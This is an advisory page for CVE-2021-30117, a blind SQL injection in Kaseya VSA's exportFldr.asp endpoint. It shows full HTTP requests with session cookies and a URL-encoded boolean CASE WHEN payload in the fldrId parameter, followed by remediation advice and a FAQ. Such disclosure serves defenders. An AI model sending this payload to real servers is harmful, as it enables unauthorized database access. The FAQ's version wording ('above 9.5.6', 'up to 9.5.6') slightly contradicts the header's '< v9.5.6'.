CVE-2021-30117: Authenticated SQL injection in Kaseya VSA < v9.5.6

Published Jul 9, 2021
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Updated

The API call /InstallTab/exportFldr.asp is vulnerable to a semi-authenticated boolean-based blind SQL injection in the parameter fldrId. Detailed description --- Given the following request: GET /InstallTab/exportFldr.asp?fldrId=1’ HTTP/1.1 Host: 192.168.1.194 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cookie: ASPSESSIONIDCQACCQCA=MHBOFJHBCIPCJBFKEPEHEDMA; sessionId=30548861; agentguid=840997037507813; vsaUser=scopeId=3&roleId=2; webWindowId=59091519; Where the sessionId cookie value has been obtained via CVE-2021-30116. The result should be a failure. Response: HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/html; Charset=Utf-8 Date: Thu, 01 Apr 2021 19:12:11 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 881 <!DOCTYPE html> <HTML> <HEAD> <title>Whoops.</title> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <link id="favIcon" rel="shortcut icon" href="/themes/default/images/favicon.ico?307447361"></link> ----SNIP---- However when fldrId is set to ‘(SELECT (CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END))’ the request is allowed. Request: GET /InstallTab/exportFldr.asp?fldrId=%28SELECT%20%28CASE%20WHEN%20%281%3D1%29%20THEN%201%20ELSE%20%28SELECT%201%20UNION%20SELECT%202%29%20END%29%29 HTTP/1.1 Host: 192.168.1.194 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Cookie: ASPSESSIONIDCQACCQCA=MHBOFJHBCIPCJBFKEPEHEDMA; sessionId=30548861; agentguid=840997037507813; vsaUser=scopeId=3&roleId=2; webWindowId=59091519; Response: HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; Charset=Utf-8 Date: Thu, 01 Apr 2021 17:33:53 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 7960 <html> <head> <title>Export Folder</title> <style> ------ SNIP -----

Affected Software

1 affected component
Kaseya VSA<9.5.6

Remediation

Information

SaaS version has been fixed by the vendor Onpremise Upgrade the server to version 9.5.6 or above Upgrade the agent to version 9.5.0.23 or above

Event History

Jul 9, 2021
CVE Published
via MITRE·01:18 PM
Data Sourced
via MITRE·01:18 PM
RemedyDescriptionSeverity
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Frequently Asked Questions

1

What is the severity of CVE-2021-30117?

CVE-2021-30117 has been identified as a high severity vulnerability due to its potential for exploitation via SQL injection.

2

How do I fix CVE-2021-30117?

To mitigate CVE-2021-30117, upgrade to a version of Kaseya VSA above 9.5.6 or apply the recommended security patches provided by the vendor.

3

What types of attacks are possible with CVE-2021-30117?

CVE-2021-30117 could allow attackers to perform a boolean-based blind SQL injection, potentially leading to unauthorized access to the database.

4

Who is affected by CVE-2021-30117?

CVE-2021-30117 affects Kaseya VSA versions up to 9.5.6, making installations prior to this version vulnerable.

5

What is the initial discovery date of CVE-2021-30117?

CVE-2021-30117 was first disclosed in July 2021.

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